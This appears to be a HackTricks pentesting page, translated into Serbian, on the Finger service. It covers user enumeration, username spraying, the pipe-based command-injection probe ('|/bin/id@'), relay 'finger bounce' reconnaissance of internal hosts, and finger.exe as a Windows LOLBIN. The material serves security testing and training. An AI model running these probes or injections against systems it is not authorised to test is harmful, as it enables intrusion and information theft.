79 - Pentesting Finger

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Program/servis Finger se koristi za pribavljanje podataka o korisnicima računara. Obično informacije uključuju korisničko ime, puno ime i, u nekim slučajevima, dodatne detalje. Ti dodatni detalji mogu obuhvatiti lokaciju kancelarije i broj telefona (ako postoje), vreme kada se korisnik prijavio, period neaktivnosti (idle time), poslednji put kada je korisnik pročitao mail i sadržaj korisnikovih .plan i .project fajlova.

Sa aspekta pentestinga, Finger je i dalje interesantan jer je protokol izuzetno mali, ljudski čitljiv i često implementiran sa zastarelom logikom parsiranja. daemon može otkriti:

  • trenutno prijavljeni korisnici
  • puna imena / GECOS podaci
  • home direktorijumi, shell-ovi, vremena poslednjih prijava i TTY-ovi
  • sadržaj .plan / .project
  • ponašanje releja koje omogućava upit drugog hosta preko prvog

Podrazumevani port: 79

PORT   STATE SERVICE
79/tcp open  finger

Enumeration

nc -vn <IP> 79
echo "root" | nc -vn <IP> 79
printf '\r\n' | nc -vn <IP> 79         # Null query: ask for logged-in users
printf '/W root\r\n' | nc -vn <IP> 79  # Long format, if the daemon supports it

Protokol je ASCII over TCP/79, obično završen sa CRLF, i server zatvara TCP konekciju nakon odgovora. U praksi je često dovoljan prazan upit (\r\n) da se dobije trenutna lista korisnika, što je takođe ono što Nmap’s default finger NSE script radi.

Enumeracija korisnika

finger @<Victim>       #List users
finger admin@<Victim>  #Get info of user
finger user@<Victim>   #Get info of user
finger -l user@<Victim> #Long format from common UNIX clients

Alternativno možete koristiti finger-user-enum sa pentestmonkey, nekoliko primera:

finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
finger-user-enum.pl -U users.txt -T ips.txt
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1

Važna nijansa u vezi sa Finger enumeration je da postoji nema strogo definisanog formata odgovora između daemona. Alati kao što je finger-user-enum dobro rade protiv Solaris-style servisa zato što validni i invalidni korisnici proizvode različite tekstualne rasporede, ali može biti potrebno ručno uporediti pozitivne i negativne odgovore i prilagoditi regexes ako je ciljni daemon neobičan.

Korisne probe kada daemon ne ponaša kao stock Solaris/BSD:

# Null query: enumerate currently logged-in users
printf '\r\n' | nc -vn <IP> 79

# Long format
printf '/W\r\n' | nc -vn <IP> 79
printf '/W root\r\n' | nc -vn <IP> 79

# Spray several likely accounts in one go against permissive daemons
printf 'root admin oracle mysql ftp user test\r\n' | nc -vn <IP> 79

Nmap pokreće script koristeći default scripts

nmap -sV -sC -p79 <IP>
nmap --script finger -p79 <IP>

Nmap-ov finger NSE script je siguran i jednostavno šalje null query da dohvati trenutnu listu korisnika. Ako želite šire username pogađanje protiv permissive daemons, razmotrite proširenje pristupa prilagođenim wordlists ili korišćenje projekata kao što je fat-finger.nse, koji šalju više verovatnih imena naloga u jednom zahtevu i traže poklapanja username/GECOS.

Metasploit koristi više trikova nego Nmap

use auxiliary/scanner/finger/finger_users

Shodan

  • port:79 USER

Izvršavanje komandi

finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"

RFC 1288 eksplicitno dozvoljava implementacijama da izvrše program pod kontrolom korisnika kao odgovor na Finger upit, što je izvor klasične zloupotrebe |/bin/.... Ovo je danas retko, ali ako pronađete custom ili legacy daemon, pažljivo testirajte na:

  • shell metakaraktere u rukovanju username-om
  • |program execution u plan/project hook-ovima
  • backend wrappere koji prosleđuju username shell skripti ili CGI-ju

Takođe zapamtite client-side put zloupotrebe na Windows: finger.exe je potpisani LOLBIN koji može preuzeti proizvoljan tekst sa udaljenog Finger servera na TCP/79, a zatim pipe-ovati taj output u drugi proces. Ta tehnika je relevantnija za post-exploitation nego za service enumeration, zato pogledajte the Linux reverse-shell page za ideju o shell transportu i imajte je na umu kada emulirate attacker tradecraft.

Finger Bounce

Use a system as a finger relay

finger user@host@victim
finger @internal@external

Ово није само чудност имплементације: RFC 1288 дефинише рекурзивно @hostname прослеђивање ({Q2} упити). Ако демон подржава relaying, посреднички сервер отвориће другу Finger конекцију у ваше име и вратиће одговор назад преко оригиналног сокета. То значи:

  • ваш хост можда неће директно успоставити везу са крајњим циљем
  • relay се може користити за енумерисање унутрашњих корисника из изложене Finger услуге
  • finger-user-enum ово нативно подржава помоћу -r <relay>

Пример:

# Ask 10.0.0.1 to finger root on 10.0.0.2
printf 'root@10.0.0.2\r\n' | nc -vn 10.0.0.1 79

# Enumerate usernames on 10.0.0.2 through relay 10.0.0.1
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1

Ako relaying funkcioniše, iskoristite ga kao internal recon primitive i uporedite relayed output sa direktnim izlazom javnog daemona. Različito formatiranje ili filtriranje često otkriva da li se relay path obrađuje posebnim backendom ili wrapperom.

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks